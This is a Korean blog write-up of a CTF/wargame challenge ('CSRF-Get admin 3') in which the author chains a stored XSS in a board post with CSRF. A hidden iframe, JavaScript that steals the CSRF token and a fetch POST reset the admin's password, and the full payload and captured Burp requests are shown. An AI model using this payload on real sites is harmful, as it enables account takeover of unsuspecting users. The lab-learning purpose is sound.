워게임 문제풀이/Segfault

<Segfault> 워게임 문제풀이 [CSRF-Get admin 3]

무너박사 2024. 7. 7. 02:01

 

목표 : admin 계정으로 로그인 하라!

문제지


<회원가입>

 

우선 'james' 라는 이름으로 회원가입을 진행해 준 후 마이페이지에서 비밀번호 변경 요청을 살펴보겠습니다.

 

 


<마이페이지>

(비밀번호 변경)

 

 

비밀번호를 변경해주고 요청을 Burp 로 살펴보았습니다.

POST 방식으로 전달하면서 , 인증방식으로 csrf_token 을 도입한 것을 확인하실수 있습니다.

 

즉! 요청을 변조하려면 csrf_token 이 필요하다는 뜻입니다.

 

 


 

CSRF_TOKEN 이 발급되는 양상을 살펴보기위해 마이페이지를 여러번 출입을 해줍니다.

 

첫번째 방문시 응답페이지의 생성된 csrf_token

 

두번째 방문시 응답페이지의 생성된 csrf_token

 

세번째 방문시 응답페이지의 생성된 csrf_token

방문할때마다 계속 토큰이 새로 발행되는것을 볼 수 있습니다.

즉 이 토큰이 발행되는 조건은 '마이페이지 방문' 이라는 것을 알수있습니다.

 

그러면 CSRF 공격 시나리오를 생각해볼수 있습니다.

(XSS 취약점을 찾았다고 가정)

 

<시나리오>

1st. iframe 태그를 통해 마이페이지를 띄운다.

 

2nd. 마이페이지 안에 dom 파일에서 csrf_token 부분을 가져온다.

 

3rd. csfr_token 을 포함한 POST 요청을 fetch 함수로 보내준다

 

 

시나리오를 구현하기전 XSS 취약점을 찾아줍니다.


<XSS 취약점 찾기>

(게시물 작성)

 

게시글 작성 (내용 : < " ' >) 특수문자 사용가능 확인!

 

이후 POC 코드삽입을 통해 자바스크립트를 실행해 봅니다.


 

POC 코드 삽입 POC 코드 동작확인!

 

동작이 확인됐으니 저희는 JAVASCRIPT 를 통해서 CSRF 공격을 가할수 있게되었습니다!

 

이제 시나리오를 구현해봅시다!

 


1st . iframe 으로 마이페이지 띄우기

 

iframe 태그 삽입(주소 : 마이페이지 ) iframe 동작확인

 

 

iframe 으로 마이페이지를 게시물에 띄우기에 성공했습니다.

 

이제 게시물 페이지에서 마이페이지 정보를 가져올수 있게되었다는 뜻입니다.

 

하지만 저렇게 대놓고 있으면 너무 수상하니깐 style="display:none;" 속성을 통해 안보이게 처리해주겠습니다.

iframe 숨기기

 

 

 


 

2nd . 마이페이지에 접근해서 csrf_token 가져오기

 

대략 마이페이지의 form 태그 부분은 이렇게 생겼습니다.

<form method = "post" action = "mypage_update.php">
                <div class = "hori">
                    <i class="far fa-user fa-2x"></i>
                    <input name = "id" type = "text" placeholder="james"/>
                </div>
                <div class = "hori">
                    <i class="fas fa-birthday-cake fa-2x"></i>
                    <input name = "info" type = "text" placeholder="Nothing..."/>
                </div>
                <div class = "hori">
                    <i class="fas fa-lock fa-2x"></i>
                    <input name = "pw" type = "password" placeholder="변경할 비밀번호"/>
		    <input type="hidden" name="csrf_token" value="3f198235a6e295f5baf226ca94f433c9">
                </div>
                <div class = "hori"><input type = "submit" value = "Update" id = "signup-btnl"/></div>
            </form>

 

저희가 필요한 부분은 csrf_token 부분입니다.

즉 마이페이지의 dom 파일에 접근하여 ,name="csrf_token" 인 부분의 value 값을 가져오면 되는것입니다.

 

이것을 위한 스크립트 코드를 만들어 주겠습니다.

 

<script>
var cookie=document.cookie;
window.addEventListener('load',function(){
var tag=document.getElementById('myframe');
var dom = tag.contentDocument;

var token=dom.getElementsByName('csrf_token')[0].value;
console.log(token);  // 토큰을 잘 가져왔는지 개발자 도구에서 출력
</script>

 

1. httponly 설정이 되어있을진 모르겠지만 cookie 값을 혹시모르니 가져와줍니다.

 

2. iframe 이 로딩 된후 동작하기 위해서 window.addEventListener 함수를 사용해줍니다.

 

3. dom 은 마이페이지의 document 를 의미합니다.

 

4. dom 에 접근하여 name이 csrf_token 인 부분의 value 값을 가져와줍니다.

 

5. 잘 가져왔는지 개발자 도구에서 체크합니다.

 


<CSRF 토큰탈취 동작확인>

 

 

 

토큰값이 잘 저장된 것을 출력을 통해 확인했습니다!

이제 이 값들을 이용하여 fetch 함수를 통해 POST 요청을 보내주겠습니다! 

 


 

3nd. fetch 함수를 통한 POST 요청 보내기(비밀번호 변경 요청)

 

비밀번호 변경 요청 (Burp Suite)
POST /csrf_3/mypage_update.php HTTP/1.1
Host: ctf.segfaulthub.com:7575
Content-Length: 63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cache-Control: max-age=0
Accept-Language: ko-KR
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://ctf.segfaulthub.com:7575
Referer: http://ctf.segfaulthub.com:7575/csrf_3/notice_read.php?id=202&view=1
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=3e3kl60nmuc8je6nok8l756pks
Connection: keep-alive

id=&info=&pw=123123&csrf_token=3a8f9deedf88b3d51961869e3321a9f8

 

 

 

<< fetch 함수까지 넣은 최종코드 >>

 

 

<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="myframe" style="display:none;" ></iframe>



<script>
var cookie=document.cookie;
window.addEventListener('load',function(){
var tag=document.getElementById('myframe');
var dom = tag.contentDocument;

var token=dom.getElementsByName('csrf_token')[0].value;
console.log(token);


fetch('http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php', {
  method: 'POST',
  headers: {
    'Cache-Control': 'max-age=0',
    'Accept-Language': 'ko-KR',
    'Upgrade-Insecure-Requests': '1',
    'Origin': 'http://ctf.segfaulthub.com:7575',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Referer': 'http://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=james',
    'Accept-Encoding': 'gzip, deflate, br',
    'Cookie': 'PHPSESSID='+cookie,
    'Connection': 'keep-alive'
  },
  body: 'id=&info=&pw=123123&csrf_token='+token
}).then(response => { //회원정보수정했다는 alert 가 뜨면 수상하니깐 요청은 보내고 응답은 받지않는다.
}).catch(error => {	
});//catch 닫아주기
});// addEventListener 닫아주기
</script>

 

 

 

 

 

게시물에 작성한 스크립트 내용을 넣어준후 업로드를 시켜줍니다.

이후 게시물에 접근을 하게되면

.

.

.

.

.

 

게시물 화면 Burp Suite 로 본 POST 요청

 

 

게시물에 접근하자 Burp Suite 에선 '마이페이지로 토큰을 포함한 비밀번호 변경요청' 을 보낸것을 확인할수 있습니다.

 

비밀번호 변경요청 성공

 

 

이제 이 게시물에 접속만하면 비밀번호가 '123123' 으로 바뀔것입니다.

이제 관리자가 이 게시물에 접근하게 만들어 줍니다.

 


<관리자 게시물 접근유도>

 

 

이제 예상대로면 관리자 아이디의 비밀번호가 123123 으로 변경됐을것 같습니다.

로그인 시도해줍니다.


 

 

로그인을 성공하였고 , 플래그값을 획득할 수 있었습니다!!!

 


긴 글 읽어주셔서 감사합니다!